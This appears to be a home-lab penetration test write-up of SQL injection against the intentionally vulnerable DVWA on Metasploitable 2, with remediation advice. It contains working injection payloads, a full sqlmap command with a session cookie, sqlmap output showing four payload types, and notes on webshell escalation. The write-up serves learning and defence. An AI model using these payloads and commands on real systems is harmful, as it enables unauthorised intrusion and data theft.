

SQL Injection - DVWA Web Application

OWASP A03:2021 Injection | Metasploitable 2 | Home Lab Exercise

Prepared by	Suyash Borde
Target	DVWA on Metasploitable 2 - http://192.168.1.11/dvwa
Attacker Host	Kali Linux
Test Date	August 23, 2026
Classification	Confidential - Educational
Tools Used	Firefox, SQLMap 1.10.6, Browser DevTools

1. Executive Summary

This report documents a successful SQL Injection attack against the DVWA (Damn Vulnerable Web Application) running on Metasploitable 2. The attack was conducted in two phases: manual injection to confirm and demonstrate the vulnerability, followed by automated exploitation using SQLMap to enumerate the full database structure.

The User ID parameter was exploited to bypass authentication logic and dump all user records. SQLMap identified four distinct injection techniques and successfully enumerated 7 databases on the MySQL server - including dvwa, metasploit, mysql, and owasp10.

Vulnerability	SQL Injection (SQLi) - GET parameter "id"
OWASP Category	A03:2021 - Injection
Target URL	http://192.168.1.11/dvwa/vulnerabilities/sqli/
Injection Point	GET parameter: id
DBMS	MySQL >= 4.1 (confirmed by SQLMap)
Web Stack	Apache 2.2.8, PHP 5.2.4, Linux Ubuntu 8.04
Injection Types	Boolean-blind, Error-based, Time-based blind, UNION query
Data Extracted	7 databases, 5 user records from dvwa database
Tools	Manual browser testing + SQLMap 1.10.6

Severity Rating:

HIGH

2. Background - What is SQL Injection?

SQL Injection occurs when user-supplied input is incorporated into a database query without proper sanitization or parameterization. An attacker can inject malicious SQL syntax that alters the intended query logic - causing the database to return unauthorized data, bypass authentication, or execute administrative commands.

SQL Injection has consistently ranked in the OWASP Top 10 for over a decade and remains one of the most prevalent web application vulnerabilities. The root cause is almost always identical: trusting user input and embedding it directly into SQL queries rather than using parameterized queries or prepared statements.

Types of SQL Injection Identified in This Assessment:

Type	How It Works	Detected
Boolean-based blind	Sends TRUE/FALSE conditions - observes different app responses to infer data	Yes
Error-based	Extracts data from verbose MySQL error messages returned by the server	Yes
Time-based blind	Uses SLEEP() delays to infer data - works even with no visible output	Yes
UNION query	Appends a second SELECT to retrieve data from other tables directly	Yes

3. Scope and Environment

Component	Detail
Target Application	DVWA (Damn Vulnerable Web Application) - Security Level: Low
Target Host	Metasploitable 2 - 192.168.1.11
Target URL	http://192.168.1.11/dvwa/vulnerabilities/sqli/
Attacker	Kali Linux
Database	MySQL >= 4.1
Web Server	Apache 2.2.8
PHP Version	PHP 5.2.4
OS (Target)	Linux Ubuntu 8.04 (Hardy Heron)

4. Phase 1 - Manual SQL Injection Testing

4.1 Baseline - Normal Input

A normal numeric value was submitted first to understand the expected application behaviour. Entering "1" returned a single user record - confirming the parameter drives a database query.

```
Input: 1 Result: ID: 1 | First name: admin | Surname: admin
```

4.2 Injection Test - Single Quote

A single quote was appended to break the SQL string context. The server returned a raw MySQL syntax error - the primary confirmation of SQL injection vulnerability. Verbose error messages reveal the DBMS type and query structure to an attacker.

```
Input: 1' Result: MySQL syntax error returned
```

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

Figure 1 - MySQL syntax error from input 1' confirming direct query concatenation without sanitization

4.3 Authentication Bypass - OR Payload

A classic OR-based payload made the WHERE clause always evaluate to TRUE - forcing the database to return every record regardless of the intended filter. This demonstrates both authentication bypass and full table enumeration from a single input field.

```
Input: 1' OR '1'='1 Result: All 5 user records returned
```

Vulnerability: SQL Injection

User ID:

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith

Figure 2 - All 5 users returned by OR payload: admin/admin, Gordon Brown, Hack Me, Pablo Picasso, Bob Smith

The underlying vulnerable query and the injected version:

```
Original query: SELECT first_name, last_name FROM users WHERE user_id = '$id'; After injection:  
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
```

5. Phase 2 - Automated Exploitation with SQLMap

5.1 SQLMap Command

SQLMap was configured with the vulnerable URL, the authenticated session cookie obtained from browser developer tools, and the --dbs flag to enumerate all databases.

```
sqlmap -u "http://192.168.1.11/dvwa/vulnerabilities/sqli/?id=1&Submit;=Submit" \  
--cookie="PHPSESSID=0c92dc9bb1c6c6f13b7587906becedba; security=low" \ --dbs
```

5.2 Injection Point Detection and Technique Analysis

SQLMap automatically detected four injection techniques on the "id" GET parameter and fingerprinted the full backend stack. Each technique works independently - an attacker needs only one to extract data.

```

(root@kali)-[/home/suyash]
└─$ sqlmap -u "http://192.168.1.11/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=0c92dc9bb1c6c6f13b7587906becedba; security=low" \
--dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are
not responsible for any misuse or damage caused by this program

[*] starting @ 07:39:29 /2026-08-23/

[07:39:29] [INFO] resuming back-end DBMS 'mysql'
[07:39:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=admin' OR '1' = '1' AND 3451=3451 AND 'Wfsm'='Wfsm6Submit=Submit

  Type: error-based
  Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id=admin' OR '1' = '1' AND ROW(4432,9185)>(SELECT COUNT(*),CONCAT(0x71706b7071,(SELECT (ELT(4432-4432,1)))0x716a6b7871,FLOOR(RAND(0)*2))x FROM (SELECT 4701 UNION SELECT 9943 UNION SELECT 8930 UNION SELECT 1382)a GROU
P BY x) AND 'njgo'='njgo6Submit=Submit

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=admin' OR '1' = '1' AND (SELECT 2647 FROM (SELECT(SLEEP(5)))vETa) AND 'fxMI'='fxMI6Submit=Submit

  Type: UNION query
  Title: Generic UNION query (NULL) - 2 columns
  Payload: id=admin' OR '1' = '1' UNION ALL SELECT NULL,CONCAT(0x71706b7071,0x735956637a4a4d576b6f436e734f4462556
c766f525a544a537a4252735a6d4e6d4b624e7a74746c,0x716a6b7871)-- -8Submit=Submit

[07:39:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 4.1
[07:39:30] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit

```

Figure 3 - SQLMap detecting 4 injection types on GET parameter id; backend confirmed as MySQL >= 4.1 on Apache 2.2.8 / PHP 5.2.4 / Ubuntu 8.04

Backend DBMS	MySQL >= 4.1
Web Server OS	Linux Ubuntu 8.04 (Hardy Heron)
Web Technology	Apache 2.2.8, PHP 5.2.4
Injection Param	id (GET)
UNION Columns	2 columns confirmed via NULL-based detection
Time-based	SLEEP(5) confirmed - data extraction possible with zero visible output
Error-based	FLOOR(RAND()) technique - extracts data from MySQL error messages

5.3 Database Enumeration

SQLMap enumerated all 7 databases hosted on the MySQL server. Several contain sensitive data from other vulnerable applications running on Metasploitable 2, showing how one SQLi point can expose the entire database server.

```
[07:39:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 4.1
[07:39:30] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[07:39:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.11'

[*] ending @ 07:39:30 /2026-08-23/
```

Figure 4 - 7 databases enumerated: dvwa, information_schema, metasploit, mysql, owasp10, tikiwiki, tikiwiki195

Database	Contents / Significance
dvwa	DVWA app data - user credentials, guestbook entries
information_schema	MySQL metadata - all table and column definitions across all DBs
metasploit	Metasploit Framework database - stored scan and session data
mysql	MySQL system DB - root credentials and privilege tables (highest impact)
owasp10	OWASP WebGoat application database - additional vulnerable app data
tikiwiki	TikiWiki CMS database - user accounts, session data, content
tikiwiki195	TikiWiki v1.9.5 database - legacy CMS user and content data

Access to the mysql system database is the most critical finding - it contains the MySQL root user password hash. Cracking or abusing this grants full administrative control over the entire database server and all 7 databases.

6. Impact Assessment

Dump all user credentials: The dvwa.users table contains usernames and MD5-hashed passwords. MD5 is cryptographically weak - these hashes can be cracked in seconds using Hashcat with a standard wordlist or rainbow table lookup.

Access all 7 hosted databases: From a single SQLi point, the entire database server is exposed. The mysql system database contains root-level credentials that grant unrestricted administrative access to all databases.

Authentication bypass: Any login form using the same vulnerable pattern is bypassable with OR payloads. An attacker can log in as any user including admin without knowing their password.

Potential OS-level command execution: With sufficient MySQL privileges, SQLMap --os-shell writes PHP webshells via MySQL INTO OUTFILE, escalating from database access to operating system control.

Full data exfiltration: SQLMap --dump extracts entire tables automatically. All application data, session tokens, configuration values, and user PII across all databases is accessible to the attacker.

7. Complete Lab - All Exploits Summary

#	Vulnerability	CVE / Ref	Target OS	Access Gained	Attack Surface
1	vsftpd 2.3.4 Backdoor	CVE-2011-2523	Linux	root (Meterpreter)	FTP / Port 21
2	Samba usermap_script	CVE-2007-2447	Linux	root (reverse shell)	SMB / Port 445
3	EternalBlue MS17-010	CVE-2017-0144	Windows	NT AUTH\SYSTEM	SMB / Port 445
4	DVWA SQL Injection	OWASP A03	Linux	Full DB - 7 databases	HTTP / Web App

The lab now covers four distinct vulnerability classes across two operating systems and two attack surfaces (network services and web applications), demonstrating both infrastructure and application-layer penetration testing skills.

8. Remediation Recommendations

1. Use Parameterized Queries (Prepared Statements)

The definitive fix. Never concatenate user input into SQL strings. Use PDO with bound parameters: `$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);`

2. Input Validation - Whitelist Expected Format

For a numeric user ID, validate strictly: `if (!is_numeric($id)) { exit; }` Reject any input that does not match the expected type and format before it reaches the database.

3. Disable Verbose MySQL Error Messages

The raw MySQL error from the single-quote test revealed DBMS type and query structure. Set `display_errors = Off` in `php.ini`. Log errors server-side, return only generic messages to users.

4. Apply Least Privilege to Database Accounts

The web app DB account should only have `SELECT/INSERT/UPDATE/DELETE` on its own database. It must not have access to `mysql`, `information_schema`, or any other system databases.

5. Hash Passwords with bcrypt, not MD5

DVWA stores passwords as unsalted MD5 which is trivially crackable. Use PHP `password_hash()` with `PASSWORD_BCRYPT`. Never use MD5 or SHA1 for passwords.

6. Deploy a Web Application Firewall

ModSecurity with the OWASP Core Rule Set detects and blocks common SQLi payloads as a defence-in-depth layer. Not a substitute for fixing the root cause.

9. Conclusion

This assessment demonstrated SQL injection from first principles - starting with manual testing to understand and confirm the vulnerability, then using SQLMap to show the full automated exploitation potential. Four injection techniques were identified, all 5 user records were extracted manually, and 7 databases were enumerated from a

single vulnerable GET parameter.

This is the fourth and final exploit in the VulnScan Lab series. The complete lab now covers network-layer exploitation (vsftpd, Samba, EternalBlue) and application-layer exploitation (SQL injection) across Linux and Windows targets. Skills demonstrated: manual SQLi methodology, OR-based authentication bypass, SQLMap configuration with session cookies, injection type identification, database enumeration, and structured professional pentest reporting.

Legal Disclaimer: This penetration test was conducted exclusively within a personal isolated VirtualBox lab environment. All target systems are intentionally vulnerable VMs owned and operated by the tester. No unauthorised systems were accessed. This report is produced for educational and portfolio purposes only.